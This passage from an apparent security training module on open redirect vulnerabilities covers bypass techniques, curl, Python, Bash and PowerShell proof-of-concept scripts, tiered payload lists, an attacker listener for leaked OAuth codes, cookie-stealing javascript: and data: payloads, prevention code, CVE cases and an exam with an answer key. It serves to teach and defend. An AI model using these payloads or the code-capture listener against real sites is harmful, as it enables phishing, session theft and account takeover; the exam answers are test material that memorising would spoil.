23. SSO logout-then-login race

Some SSO systems log the user out, then redirect to a `?next=` URL. The brief window where the user has no session but the redirect URL still carries their identifier can be raced.

24. Auth bypass via redirect to same app

text
?next=/admin/promote?user=hamza

When the redirect target is an internal URL that performs a state change, and the auth check happens BEFORE the redirect, the redirect re-runs the request with the now-authenticated session.

25. Multi-step redirects (reflected forward)

Some apps chain two redirects: a public `/r` endpoint that calls an internal `/forward` that itself does another redirect. Each hop is its own validation. The attacker exploits the weakest hop.

26. State parameter misuse for secondary redirect

In OAuth, the `state` parameter is for CSRF protection. Some apps reuse it as a secondary "where to go":

text
state=https://attacker.com/

27. URL confusion via different parser behaviors

The browser, the proxy, the framework, the WAF, and the application can disagree on how to parse the same URL string:

text
?next=https://anastech.com%23.attacker.com/
?next=https://anastech.com%2F.attacker.com/
?next=https://anastech.com\@attacker.com/
?next=https://[::1]@attacker.com/
?next=https://anastech.com..attacker.com

If the WAF parses one way and the application parses another, only the application's view matters for the redirect.

28. Open Redirect via filename / suffix match

When the validator checks "does the URL end with `.anastech.com`?":

text
?next=https://attacker.com/?x=.anastech.com
?next=https://attacker.com#.anastech.com

Endswith on the raw string passes. The host is `attacker.com`.

29. Open Redirect via Markdown / rich text renderers

When the application renders markdown that includes URLs:

text
[Click me](javascript:fetch('//attacker.com/'+document.cookie))

If the renderer does not strip dangerous schemes, the resulting `<a href="javascript:...">` is XSS on click.

30. SSO IdP-initiated redirect

Some SSO providers allow IdP-initiated SSO with a `RelayState`. If the SP trusts RelayState and redirects post-login, the attacker constructs an IdP-initiated SSO URL with `RelayState=https://attacker.com/`.

These 30 techniques are the modern Open Redirect hunter's toolkit. Memorize. Combine. Chain.

12. Proof of Concept

Burp Suite step by step

text
1. Intercept the request that uses the redirect parameter (/login?next=...).
2. Send to Repeater.
3. Replace the next value with each bypass payload.
4. Note the Location: header in each response.
5. When Location: points to your attacker.com, you have confirmation.
6. Repeat in a real browser to confirm navigation.

curl PoC

bash
curl -s -I "https://anastech.com/login?next=https://attacker.com/" | grep -i ^location

for pl in "//attacker.com" "/\\attacker.com" "https://anastech.com@attacker.com" "https://anastech.com.attacker.com"; do
    echo -n "[$pl] ==> "
    curl -s -I "https://anastech.com/login?next=$(python3 -c 'import urllib.parse;import sys; print(urllib.parse.quote(sys.argv[1]))' "$pl")" | grep -i ^location
done

Python PoC (detection)

python
import requests

TARGET = "https://anastech.com/login"
PAYLOADS = [
    "https://attacker.com/",
    "//attacker.com",
    "/\\attacker.com",
    "https:attacker.com",
    "https://anastech.com@attacker.com",
    "https://anastech.com.attacker.com",
    "https://attacker.com#anastech.com",
    "https://attacker.com?anastech.com",
    "//attacker.com/.anastech.com",
    "javascript:alert(document.domain)",
]

for p in PAYLOADS:
    r = requests.get(TARGET, params={"next": p}, allow_redirects=False, verify=False)
    loc = r.headers.get("location", "")
    if "attacker.com" in loc or loc.startswith("javascript:"):
        print(f"[HIT] payload={p!r}  Location={loc!r}")
    else:
        print(f"[--] payload={p!r}  Location={loc!r}")

Python PoC (OAuth chain)

python
import requests

CALLBACK = "https://app.anasone.com/callback"

AUTHORIZE = (
    "https://login.anasone.com/oauth/authorize"
    "?client_id=anasone-web"
    "&response_type=code"
    "&redirect_uri=" + requests.utils.quote(
        f"{CALLBACK}?returnTo=/\\attacker.com/"
    )
    + "&state=phish"
    "&scope=openid+profile+email"
)

print("Send the victim:")
print(AUTHORIZE)
print()
print("On attacker.com server, log:")
print("  - Full request URI (will contain the leaked authorization code)")
print("  - Exchange the code at https://login.anasone.com/oauth/token")

Python PoC (attacker listener)

python
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
@app.route("/<path:p>")
def catch_all(p=None):
    print("============")
    print("URL:        ", request.url)
    print("Referer:    ", request.headers.get("Referer"))
    print("Code (qs):  ", request.args.get("code"))
    print("State (qs): ", request.args.get("state"))
    print("============")
    return "captured"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

Deploy on `attacker.com`. Every visit logs the URL and Referer, which often contain leaked codes.

Bash PoC (quick scanner)

bash
#!/bin/bash
TARGET="$1"
PARAMS=(next url redirect redirect_uri return returnTo to destination dest continue callback path r u from out)
PAYLOAD="https://attacker.com/"
ENCODED=$(printf '%s' "$PAYLOAD" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))")

for p in "${PARAMS[@]}"; do
    loc=$(curl -s -o /dev/null -w '%{redirect_url}' "$TARGET?$p=$ENCODED")
    if [[ "$loc" == *"attacker.com"* ]]; then
        echo "[+] $p ==> $loc"
    fi
done

OpenRedireX PoC

bash
git clone https://github.com/devanshbatham/OpenRedireX
cd OpenRedireX
./setup.sh

echo "https://anastech.com/login?next=FUZZ" > urls.txt
./openredirex.py -l urls.txt -p payloads.txt -k FUZZ

Custom Nuclei template

yaml
id: anastech-open-redirect

info:
  name: Open Redirect Detection
  author: anas
  severity: medium
  tags: redirect,open-redirect

requests:
  - method: GET
    path:
      - "{{BaseURL}}/login?next=https://attacker.com/"
      - "{{BaseURL}}/login?next=//attacker.com"
      - "{{BaseURL}}/login?next=/\\attacker.com"
      - "{{BaseURL}}/login?returnTo=https://attacker.com/"
      - "{{BaseURL}}/r?url=https://attacker.com/"
      - "{{BaseURL}}/go?to=https://attacker.com/"
    matchers-condition: or
    matchers:
      - type: regex
        part: header
        regex:
          - "(?i)Location:\\s*https?://attacker\\.com"
          - "(?i)Location:\\s*//attacker\\.com"

PowerShell PoC

powershell
$URL = "https://anastech.com/login"
$payloads = @(
    "https://attacker.com/",
    "//attacker.com",
    "/\attacker.com",
    "https://anastech.com@attacker.com"
)

foreach ($p in $payloads) {
    $enc = [System.Web.HttpUtility]::UrlEncode($p)
    $r = Invoke-WebRequest -Uri "$URL`?next=$enc" -MaximumRedirection 0 -ErrorAction SilentlyContinue -SkipCertificateCheck
    $loc = $r.Headers.Location
    if ($loc -like "*attacker.com*") {
        Write-Host "[+] $p ==> $loc" -ForegroundColor Green
    } else {
        Write-Host "[-] $p ==> $loc"
    }
}

13. Payloads

Top 50 redirect parameters

text
next            url             redirect        redirect_uri    redirect_url
returnTo        return          return_to       return_url      returnUrl
target          to              destination     dest            continue
callback        cb              path            r               u
view            forward         from            origin          src
source          ref             referer         referrer        site
host            page            link            location        loc
go              out             nav             goto            jump
checkout_url    success_url     cancel_url      redir           rd
back            backTo          backUrl         exit            done

Tier 1 ==> Naked external URLs

text
https://attacker.com/
http://attacker.com/
https://attacker.com:443/
https://attacker.com/path?x=1

Tier 2 ==> Protocol-relative and slash tricks

text
//attacker.com
//attacker.com/
//attacker.com/.anastech.com
//attacker.com?anastech.com
//attacker.com#anastech.com
//attacker.com%2F.anastech.com
///attacker.com
////attacker.com
/.attacker.com
/\attacker.com
\/attacker.com
\\attacker.com
/\/attacker.com
//\attacker.com
//\\attacker.com
\\\\attacker.com
\/\/attacker.com

Tier 3 ==> Userinfo and host tricks

text
https://attacker.com#anastech.com
https://attacker.com?anastech.com
https://attacker.com/anastech.com
https://anastech.com@attacker.com
https://anastech.com:443@attacker.com
https://anastech.com%40attacker.com
https://anastech.com%2540attacker.com
https://attacker.com%2Fanastech.com
https://attacker.com%252Fanastech.com
https://anastech.com.attacker.com
https://anastech.com-attacker.com
https://anastech.com..attacker.com
https://attacker.com/?anastech.com
https://attacker.com/?x=anastech.com

Tier 4 ==> Scheme tricks

text
https:attacker.com
https:/attacker.com
https:\/\/attacker.com
http:attacker.com
htTp://attacker.com
HtTPS://attacker.com
javascript:alert(document.cookie)
javascript://anastech.com/%0aalert(1)
javascript:fetch('//attacker.com/'+document.cookie)
JaVaScRiPt:alert(1)
data:text/html,<script>fetch('//attacker.com/'+document.cookie)</script>
data:text/html;base64,PHNjcmlwdD5...
vbscript:msgbox(1)
file:///etc/passwd
about:blank

Tier 5 ==> URL encoding bypasses

text
%2f%2fattacker.com
%2F%2Fattacker.com
%5c%5cattacker.com
%5C%5Cattacker.com
%252f%252fattacker.com
%252F%252Fattacker.com
%c0%2fattacker.com
%c0%afattacker.com
%e0%80%afattacker.com
%2e%2e/attacker.com
%2F/attacker.com
/%5cattacker.com
/%2F/attacker.com

Tier 6 ==> IDN, Punycode, homograph

text
https://xn--ansttch-...      (Cyrillic а instead of Latin a)
https://anаstech.com/        (rendered)

Tier 7 ==> IP tricks

text
http://0
http://127.0.0.1
http://0.0.0.0
http://0x7f000001            (hex)
http://2130706433            (decimal)
http://127.1                 (shortened)
http://0177.0.0.1            (octal)
http://[::1]
http://[::ffff:7f00:1]
http://localhost
http://localtest.me          (resolves to 127.0.0.1)
http://attacker.localtest.me

Tier 8 ==> CRLF injection in Location

text
?next=/foo%0d%0aLocation:%20https://attacker.com
?next=/%0d%0aSet-Cookie:%20sid=hijacked
?next=/x%0aX-Anything:%20pwned
?next=%E5%98%8A%E5%98%8DLocation:%20https://attacker.com   (UTF-8 CRLF)

Tier 9 ==> Combined tricks

text
/\/attacker.com
\\\\attacker.com
//anastech.com%252F@attacker.com
//attacker.com/%2F..%2F..%2Fanastech.com
https://anastech.com%252e@attacker.com
https://attacker.com;.anastech.com
https://anastech.com%23.attacker.com
//google.com/%2f..

Tier 10 ==> OAuth-specific payloads

text
Registered: https://client.com/cb

Bypass attempts:
https://client.com/cb.attacker.com/
https://client.com/cb@attacker.com
https://client.com/cb/../../@attacker.com
https://client.com/cb%2F..%2F..%2Fattacker.com
https://client.com/cb#attacker.com
https://client.com/cb?attacker.com
https://client.com/cb/attacker.com
https://client.com.attacker.com/cb
https://client.com/cb%23@attacker.com
https://client.com/cb;.attacker.com
https://client.com/cb%00attacker.com

Tier 11 ==> SAML specific payloads

text
RelayState=https://attacker.com/
RelayState=//attacker.com
RelayState=javascript:alert(1)
RelayState=https://saml-sp.anasbank.com@attacker.com

Tier 12 ==> Host header injection

text
GET /reset/abc123 HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Forwarded-For: attacker.com
X-Original-URL: //attacker.com
X-Rewrite-URL: //attacker.com

Generic master list

For automated fuzzing, compile this as `payloads.txt`:

text
//attacker.com
//attacker.com/
//attacker.com/%2F..
//attacker.com/.anastech.com
//attacker.com?anastech.com
//attacker.com#anastech.com
///attacker.com
////attacker.com
/.attacker.com
/\attacker.com
\/attacker.com
\\attacker.com
//\attacker.com
//\\attacker.com
\\\\attacker.com
\/\/attacker.com
https:attacker.com
https:/attacker.com
https://attacker.com
http://attacker.com
javascript:alert(1)
javascript:alert(document.cookie)
javascript://anastech.com/%0aalert(1)
data:text/html,<script>alert(1)</script>
https://anastech.com@attacker.com
https://anastech.com%40attacker.com
https://anastech.com.attacker.com
https://anastech.com-attacker.com
https://attacker.com/?anastech.com
https://attacker.com/?x=anastech.com
https://attacker.com#anastech.com
%2f%2fattacker.com
%2F%2Fattacker.com
%252f%252fattacker.com
%5c%5cattacker.com
%2e%2e/attacker.com
%2F/attacker.com
/%5cattacker.com
/%2F/attacker.com
http://127.0.0.1
http://localhost
http://localtest.me
http://0x7f000001
http://2130706433
http://[::1]
//google.com/%2f..

14. Wordlists and Payload Libraries

15. Impact

  • Phishing host. The number-one impact. The attacker abuses the trusted domain to deliver phishing pages.
  • Credential theft. Cloned login pages collect usernames and passwords.
  • OAuth account takeover. Leaked authorization code becomes a full token. CVE-2024-52289 Authentik, CVE-2023-6927 Keycloak. Bounty: $3,000 to $50,000+.
  • SAML account takeover. Leaked SAML assertion equals ATO.
  • Token leak via Referer. Password-reset tokens leak when redirected to attacker domains.
  • XSS chain. `javascript:` and `data:` URI redirects execute attacker JavaScript in the target origin.
  • SSRF chain. Open Redirect on a server-side fetcher leads to internal network access, cloud metadata theft.
  • Cache poisoning. Redirect built from a header an intermediate cache trusts pollutes the cache for all users.
  • Session fixation. Some redirect flows set a session ID in a URL parameter.
  • Mobile app deep-link abuse. Web-to-app bridges launch the app into attacker-chosen actions.
  • Reputation damage and brand abuse. Security teams that find their brand in phishing lists do damage control.
  • Defeating modern phishing detection. Many anti-phishing engines trust the first hop's domain.

A "plain" open redirect is medium-severity at most. A chained open redirect can sit at the top of any program's payout tier.

16. Prevention

Vulnerable example

python
@app.get("/login")
def login():
    next_url = request.args.get("next", "/dashboard")
    return redirect(next_url)

Secure example (allowlist of paths)

python
ALLOWED_PATHS = {"/dashboard", "/profile", "/orders", "/settings", "/transfers"}

@app.get("/login")
def login():
    next_url = request.args.get("next", "/dashboard")
    if next_url not in ALLOWED_PATHS:
        next_url = "/dashboard"
    return redirect(next_url)

Secure example (host-validated external URLs)

python
from urllib.parse import urlparse

ALLOWED_HOSTS = {"anastech.com", "www.anastech.com"}

def is_safe_redirect(url: str) -> bool:
    if not url:
        return False
    if url.startswith("/") and not url.startswith("//") and not url.startswith("/\\"):
        return True
    p = urlparse(url)
    return p.scheme in ("http", "https") and p.hostname in ALLOWED_HOSTS

@app.get("/login")
def login():
    next_url = request.args.get("next", "/dashboard")
    if not is_safe_redirect(next_url):
        next_url = "/dashboard"
    return redirect(next_url)

Framework-specific safe APIs

  • Django: `django.utils.http.url_has_allowed_host_and_scheme(url, allowed_hosts)`
  • ASP.NET Core: `Url.IsLocalUrl(url)` and `LocalRedirect(url)`
  • Rails 7+: `redirect_to ..., allow_other_host: false`
  • Flask: Use your own `is_safe_redirect` or `werkzeug.urls.url_parse` + host comparison.
  • Express: Use the `url` module to parse and host-check.
  • Spring: Validate URL via `UriComponentsBuilder` and check the host.
  • Go: Use `url.Parse` and compare `u.Host` to an allowlist.

Eight Rules to Eliminate Open Redirect

  • Rule 1. Prefer redirects to fixed, hard-coded paths.
  • Rule 2. When user choice is needed, use an allowlist of destination keys, not URLs.
  • Rule 3. When external URLs must be allowed, parse the URL, extract the host, and validate against an explicit allowlist.
  • Rule 4. Reject `//`, `/\`, `\`, `javascript:`, `data:`, `vbscript:`, `file:`, and any other scheme except `http`/`https`.
  • Rule 5. Validate before AND after any decoding.
  • Rule 6. Use the framework's safe API.
  • Rule 7. For OAuth providers: exact-match `redirect_uri`. No wildcards. No `startsWith`. No regex with unescaped dots.
  • Rule 8. Add an interstitial page for any external redirect: "You are leaving anastech.com..."

Developer checklist

text
[ ] Every redirect with a user-controlled destination is reviewed.
[ ] Hard-coded destinations are preferred everywhere they fit.
[ ] When user input controls the destination, an allowlist of keys is used.
[ ] External URLs (if allowed) are parsed and host-compared, not substring-checked.
[ ] All non-http(s) schemes are explicitly rejected.
[ ] // and /\ are explicitly rejected before any framework-level redirect.
[ ] Framework-safe APIs are used.
[ ] OAuth redirect_uri is exact-matched against a per-client allowlist.
[ ] No regex-based redirect_uri matching with unescaped dots.
[ ] Wildcard redirect_uri values are forbidden.
[ ] SAML RelayState is treated as opaque, never used as a redirect target.
[ ] An interstitial page is shown for any external redirect.
[ ] All redirects are logged with source/destination/user.
[ ] Static analysis catches direct concat of user input into redirect APIs.
[ ] Integration tests assert that ?next=https://attacker.com is rejected.

Server/framework configuration examples

Django:

python
from django.shortcuts import redirect
from django.utils.http import url_has_allowed_host_and_scheme

def login_view(request):
    next_url = request.GET.get('next', '/')
    if not url_has_allowed_host_and_scheme(
        url=next_url,
        allowed_hosts={request.get_host()},
        require_https=request.is_secure(),
    ):
        next_url = '/'
    return redirect(next_url)

ASP.NET Core:

csharp
[HttpGet("/login")]
public IActionResult Login(string returnUrl)
{
    if (!Url.IsLocalUrl(returnUrl))
        return RedirectToAction("Dashboard");
    return LocalRedirect(returnUrl);
}

Rails:

ruby
class SessionsController < ApplicationController
  def create
    if authenticated?
      redirect_to params[:next] || dashboard_path, allow_other_host: false
    end
  end
end

Express:

javascript
const { URL } = require('url');
const ALLOWED_HOSTS = new Set(['anastech.com', 'www.anastech.com']);

function safeRedirect(target, base) {
    if (!target) return '/dashboard';
    if (target.startsWith('/') && !target.startsWith('//') && !target.startsWith('/\\')) {
        return target;
    }
    try {
        const u = new URL(target, base);
        if (['http:', 'https:'].includes(u.protocol) && ALLOWED_HOSTS.has(u.hostname)) {
            return u.toString();
        }
    } catch (e) { /* fallthrough */ }
    return '/dashboard';
}

app.get('/login', (req, res) => {
    res.redirect(safeRedirect(req.query.next, 'https://anastech.com'));
});

17. Real-World Cases

CVE-2025-4123 (Grafana ==> Open Redirect ==> Stored XSS ==> SSRF)

Grafana OSS and Enterprise had an open redirect via path traversal in the public redirect handler. Chained with the application's XSS sink, attackers achieved stored XSS, which then enabled SSRF (full read of internal endpoints) against the Grafana process.

CVE-2025-69725 (go-chi RedirectSlashes)

The go-chi router's `RedirectSlashes` middleware in versions >= 5.2.2 contained URL normalization that allowed remote attackers to redirect victim users to malicious websites while keeping the legitimate domain in the URL.

CVE-2024-52289 (Authentik OAuth ATO via Regex-Unescaped Dots)

Authentik validated OAuth `redirect_uri` using regex matching. The registered URIs were not escaped properly, so the period character (`.`) was interpreted as the "any character" wildcard. An attacker who could observe a registered redirect URI of `https://client.com/cb` could supply variations and pass the regex check. Result: one-click OAuth account takeover.

CVE-2023-22797 (Rails Action Pack Open Redirect)

Rails 7.0 introduced `allow_other_host: false` as the default for `redirect_to`. The check had a bypass: carefully crafted URLs could fool the validation. Fixed in 7.0.4.1.

CVE-2023-6927 (Keycloak Open Redirect via Wildcard redirect_uri)

Keycloak supports wildcard `*` in registered redirect URIs. When a wildcard is used poorly (e.g. `https://*.client.com/*`), an attacker can craft a URI that matches the wildcard but points to attacker infrastructure.

HackerOne #3099816 ==> Lichess Open Redirect in OAuth Flow

The OAuth flow on Lichess accepted any `redirect_uri` without strict validation. Changing the `redirect_uri` from the legitimate URL to `https://example.com/` succeeded.

HackerOne #76738 ==> Zaption Triple-Slash Filter Bypass

text
https://www.zaption.com/logout?returnTo=///evil.com/

Triple slash bypass.

HackerOne #1444675 ==> Omise Host Header Injection

text
GET /...
Host: attacker.com

The application built redirect URLs from the `Host` header.

HackerOne #2828499 ==> Localize Host-Header Open Redirect

Same pattern as Omise.

HackerOne ==> Shopify checkout_url Open Redirect

Shopify's checkout URL accepted attacker-controlled redirect-style values.

HackerOne ==> Starbucks Open Redirect + Reflected XSS Chain

Starbucks had an open redirect that, combined with a reflected XSS payload, hit all their `*.starbucks.com` storefronts.

HackerOne ==> Semrush IDN Homograph OAuth ATO

A hunter registered a homograph domain and used it as `redirect_uri`. The OAuth flow completed, the access token landed on the homograph. 260 upvotes.

HackerOne ==> X / xAI Periscope OAuth Callback ATO

Insufficient OAuth callback validation enabled Periscope account takeover. 273 upvotes.

HackerOne ==> GitLab Email Verification Bypass for OAuth ATO

$3,000 bounty. 254 upvotes.

HackerOne ==> pixiv Stealing OAuth Authorization Code

$2,000 bounty. 244 upvotes.

HackerOne ==> Mail.ru Open Redirect on My.com

Plain open redirect.

HackerOne ==> GSA Bounty idp.fr.cloud.gov Open Redirect

A US government identity provider had an open redirect. $150 bounty.

Lessons across all these cases:

  • Plain open redirects pay little. Chained open redirects pay a lot.
  • OAuth + open redirect = account takeover, almost without exception.
  • Regex-based redirect_uri validation is a recurring source of CVEs. Exact-match is the only safe option.
  • Wildcards in redirect_uri lead to bypasses.
  • Even hardened frameworks (Rails 7) ship bypasses.
  • Host-header injection still works in 2024-2026 on many stacks.
  • The number-one finding source is the `returnTo`, `next`, and `redirect_uri` parameters.

18. References

19. Practical Labs

SOON.

The ANAS EDUCATION lab environment for Open Redirect is currently being built. You will soon practice:

  • Naked redirect (no filter)
  • Filter that requires `/` prefix (bypass with `//` and `/\`)
  • Filter that requires "contains anastech.com" (bypass with `@` and `.attacker.com`)
  • URL-encoded and double-encoded bypasses
  • CRLF injection in `Location:` header
  • OAuth `redirect_uri` exact-match bypass via path traversal
  • OAuth `redirect_uri` regex bypass with unescaped dots (Authentik-style)
  • OAuth `redirect_uri` wildcard bypass (Keycloak-style)
  • SAML RelayState abuse
  • Host header injection leading to open redirect
  • Open redirect chained with reflected XSS via `javascript:`
  • Open redirect chained with SSRF via internal fetcher follow-redirects
  • Token leak via Referer header on a password-reset flow
  • Mobile deep-link bridge abuse
  • Cache poisoning via `X-Forwarded-Host`
  • IDN/Punycode homograph bypass

In the meantime, practice on PortSwigger Web Security Academy labs:

  • APPRENTICE: OAuth account hijacking via redirect_uri
  • PRACTITIONER: Stealing OAuth access tokens via an open redirect
  • PRACTITIONER: SSRF via OAuth flow
  • PRACTITIONER: Forced OAuth profile linking
  • EXPERT: Authentication bypass via OAuth implicit flow
  • EXPERT: Stealing OAuth access tokens via a proxy page

Stay tuned.

20. Cheat Sheet

text
┌──────────────────────────────────────────────────────────────────┐
│                  OPEN REDIRECT CHEAT SHEET                       │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  DETECTION                                                       │
│  ==> ?next=https://attacker.com/                                 │
│  ==> ?next=//attacker.com                                        │
│  ==> ?next=/\attacker.com                                        │
│  ==> Look at Location: header in response                        │
│                                                                  │
│  TOP PARAMETERS                                                  │
│  next  url  redirect  redirect_uri  returnTo  return             │
│  return_url  target  to  destination  continue  callback         │
│  path  r  u  from  out  go  goto  page  link  forward            │
│                                                                  │
│  CLASSIC BYPASSES                                                │
│  //evil.com                  protocol-relative                   │
│  /\evil.com                  backslash trick                     │
│  https:evil.com              no slash after scheme               │
│  https://anastech.com@evil.com    userinfo trick                 │
│  https://anastech.com.evil.com    subdomain trick                │
│  https://evil.com#anastech.com    fragment trick                 │
│  https://evil.com?anastech.com    query trick                    │
│                                                                  │
│  ENCODING                                                        │
│  %2f%2fevil.com              URL-encoded //                      │
│  %252f%252fevil.com          double-encoded                      │
│  xn--evl-...                 IDN/Punycode                        │
│                                                                  │
│  CLIENT-SIDE                                                     │
│  javascript:fetch('//x/'+document.cookie)                        │
│  data:text/html,<script>alert(1)</script>                        │
│                                                                  │
│  OAUTH CHAIN                                                     │
│  redirect_uri=https://client.com/cb.attacker.com/                │
│  redirect_uri=https://client.com/cb@attacker.com                 │
│  redirect_uri=https://client.com/cb#attacker.com                 │
│                                                                  │
│  HOST HEADER                                                     │
│  Host: attacker.com                                              │
│  X-Forwarded-Host: attacker.com                                  │
│                                                                  │
│  CRLF                                                            │
│  ?next=/x%0d%0aLocation:%20https://evil.com                      │
│                                                                  │
│  PREVENTION                                                      │
│  ==> Hard-code internal destinations                             │
│  ==> Allowlist of destination keys, never URLs                   │
│  ==> Parse host and exact-match allowlist                        │
│  ==> Reject //, /\, javascript:, data:                           │
│  ==> Django: url_has_allowed_host_and_scheme                     │
│  ==> .NET: LocalRedirect / IsLocalUrl                            │
│  ==> Rails: allow_other_host: false                              │
│  ==> OAuth: exact-match redirect_uri, NO wildcards               │
│  ==> Interstitial page for external redirects                    │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

21. Exam (30 Questions)

Format: Multiple Choice. Platform randomly selects 20. Scoring: 0 to 13 fail, 14 to 15 retry, 16 to 20 pass.

Q1. Which CWE matches Open Redirect most directly? A. CWE-79 B. CWE-89 C. CWE-601 D. CWE-22 Answer: C.

Q2. A protocol-relative URL like `//attacker.com` is dangerous because: A. It is invalid B. The browser inherits the current scheme and goes to attacker.com C. It always points to localhost D. It blocks redirects Answer: B.

Q3. The `@` symbol in `https://anastech.com@attacker.com`: A. Is the host B. Marks the start of the host C. Splits userinfo from host; the host is everything after the @ D. Is ignored by browsers Answer: C.

Q4. Which parameter is NOT a typical redirect parameter name? A. next B. returnTo C. csrf_token D. redirect_uri Answer: C.

Q5. An open redirect chained with OAuth typically results in: A. Phishing only B. Authorization code theft and account takeover C. SQL injection D. Stored XSS Answer: B.

Q6. Which Rails 7+ option prevents redirect_to from leaving the host? A. `allow_redirects: false` B. `allow_other_host: false` C. `allow_external: false` D. `safe_redirect: true` Answer: B.

Q7. Which CVE is the Authentik OAuth regex-unescaped-dot bypass? A. CVE-2025-4123 B. CVE-2023-6927 C. CVE-2024-52289 D. CVE-2025-69725 Answer: C.

Q8. The Grafana 2025 chain combined: A. SQL injection + RCE B. Open Redirect + Stored XSS + SSRF C. CSRF + XSS only D. Path traversal + LFI Answer: B.

Q9. A `redirect_uri` registered as `https://client.com/cb` is bypassed by: A. `https://client.com/cb` B. `https://client.com/cb.attacker.com/` C. `https://attacker.com` D. `/cb` Answer: B.

Q10. Which is NOT a safe redirect API? A. `LocalRedirect` in ASP.NET B. `url_has_allowed_host_and_scheme` in Django C. `header("Location: " . $_GET['next'])` in PHP D. `redirect_to ..., allow_other_host: false` in Rails 7 Answer: C.

Q11. `javascript:alert(1)` as a redirect target results in: A. A 404 B. XSS in the current origin C. Nothing D. SSRF Answer: B.

Q12. The `RelayState` parameter in SAML can be: A. A signed timestamp B. An attacker-controlled redirect target if not validated C. The SAML signing key D. The user's email Answer: B.

Q13. Host header injection becomes Open Redirect when: A. The Host header is encrypted B. The application builds redirect URLs from the `Host` header C. The Host header equals the user's IP D. Never Answer: B.

Q14. The bypass `/\attacker.com` works because: A. The browser ignores `/\` B. Filters that require a `/` prefix accept `/\`, and the browser normalizes `\` to `/` C. It is rejected by all browsers D. It is HTTPS-only Answer: B.

Q15. PKCE in OAuth helps because: A. It encrypts the redirect_uri B. It binds the authorization code to the requester, making leaked codes useless C. It hides the client_id D. It signs the access token Answer: B.

Q16. A substring check `if (url.contains("anastech.com"))` is bypassed by: A. `https://anastech.com.attacker.com/` B. `https://attacker.com` C. `/login` D. `https://anastech.com/` Answer: A.

Q17. IDN homograph attacks abuse: A. CSS rendering B. Unicode characters that look like ASCII letters but resolve to a different domain C. HTML parsing D. Browser cache Answer: B.

Q18. Which response status is NOT a redirect? A. 301 B. 302 C. 307 D. 404 Answer: D.

Q19. The safest design for "remember where you came from" after login is: A. Take any URL from a parameter B. Map a key like `?next=profile` to a server-side allowlist C. Use the Referer header D. Store the URL in a cookie Answer: B.

Q20. CVE-2023-6927 (Keycloak) was about: A. SQL injection B. Wildcard redirect_uri matching that allowed attacker subdomains to pass the check C. CSRF D. Path traversal Answer: B.

Q21. Which Open Redirect bypass uses CRLF? A. `?next=/foo%0d%0aLocation:%20https://attacker.com` B. `?next=javascript:alert(1)` C. `?next=//attacker.com` D. `?next=/` Answer: A.

Q22. An open redirect on a password-reset link leaks tokens via: A. The Set-Cookie header B. The Referer header (or the URL if the redirect carries the token) C. The Server header D. The Content-Type header Answer: B.

Q23. ASP.NET's `Url.IsLocalUrl(url)` returns true for: A. `https://attacker.com` B. `//attacker.com` C. `/dashboard` D. `javascript:alert(1)` Answer: C.

Q24. In which case does an Open Redirect become a critical issue? A. When it is on a static blog B. When it lives inside an OAuth or SAML flow with token transit C. When it returns 200 OK D. When the user is logged out Answer: B.

Q25. A `data:` URI in a client-side redirect: A. Always 404s B. Can execute JavaScript in the current origin (with limits in modern browsers) C. Always loads from the network D. Is unrelated to redirects Answer: B.

Q26. The "interstitial page" mitigation works by: A. Encrypting the redirect B. Showing "You are leaving anastech.com..." which adds friction and visibility C. Logging the user out D. Blocking the redirect entirely Answer: B.

Q27. Wildcard `redirect_uri` in OAuth: A. Is recommended B. Should be avoided; it routinely leads to ATO via attacker-controlled subdomains C. Improves security D. Is required by the OAuth spec Answer: B.

Q28. Cache poisoning via Open Redirect happens when: A. The cache is empty B. The cache stores the redirect response keyed by URL but generated from an attacker-controlled header C. The user logs in D. HTTPS is disabled Answer: B.

Q29. The most reliable Open Redirect bypass to try first is: A. CSRF token forgery B. SQL injection C. `//attacker.com` (protocol-relative) D. Path traversal Answer: C.

Q30. The MOST important takeaway about Open Redirect: A. It is harmless B. It is a primitive that scales with context; in OAuth or SAML it is account takeover C. It only matters on login pages D. Modern browsers prevent it Answer: B.

22. Certificate Requirements

To earn the ANAS EDUCATION Open Redirect Certificate, the student must:

  • Complete every lesson in this module.
  • Complete all practical labs once released.
  • Pass the exam with at least 16 out of 20.

Only then will the course be marked complete on the student dashboard.

23. Important Notes

Common Beginner Mistakes

  • Reporting "Open Redirect to evil.com" without exploring chains.
  • Forgetting `//attacker.com` is protocol-relative.
  • Testing only `?next=` and missing `returnTo`, `redirect_uri`, `r`, `u`, `to`.
  • Not testing OAuth and SAML flows.
  • Not testing meta-refresh and client-side JavaScript redirects.
  • Confusing "contains the domain" with "is the domain".
  • Giving up at the first 400/403.
  • Missing `javascript:` and `data:` chains.

Pentester Tips

  • Map every redirect-prone endpoint before throwing payloads.
  • When stuck, try IDN/Punycode and CRLF as last resorts.
  • Always render the bypass URL in a real browser to confirm.
  • For OAuth chains, capture the code on attacker.com in real time.
  • Document the chain end-to-end.

Bug Bounty Tips

  • Plain open redirects pay $0 to $500.
  • Chained Open Redirect + OAuth ATO pays $3,000 to $50,000.
  • Open Redirect + Stored XSS pays $2,000 to $20,000.
  • Open Redirect + SSRF + cloud metadata pays $5,000 to $50,000.
  • Lead with the chain, not the redirect.
  • Include a video PoC for chains.
  • Test marketing/tracking subdomains.

Red Team Notes

  • Open Redirect on a brand domain is golden for phishing.
  • Mail filters trust the start of the URL.
  • Open Redirect + OAuth = ATO at scale.
  • SAML RelayState abuse against IdPs is rarer but devastating.

Real-World Advice

  • Browsers do NOT warn users about cross-domain redirects.
  • The padlock stays green through the entire chain.
  • URL filters in mail clients trust the first hop.
  • User-awareness training does not save users from open-redirect phishing.
  • The only defense is server-side validation.

Things to Remember During Exams

  • CWE-601 ==> URL Redirection to Untrusted Site.
  • `//attacker.com` is protocol-relative.
  • `@` splits userinfo from host.
  • OAuth + Open Redirect = ATO.
  • Use exact-match `redirect_uri`, never `startsWith`.
  • Django: `url_has_allowed_host_and_scheme`. ASP.NET: `LocalRedirect`. Rails: `allow_other_host: false`.

Things to Remember During Real Assessments

  • Always confirm the redirect fires in a real browser, not just curl.
  • Record both the request and the resulting Location: header.
  • For OAuth chains, demonstrate code capture and token exchange end-to-end.
  • Never test against production OAuth providers without permission.
  • Use benign decoy pages for phishing impact demonstrations.

Frequently Confused Concepts

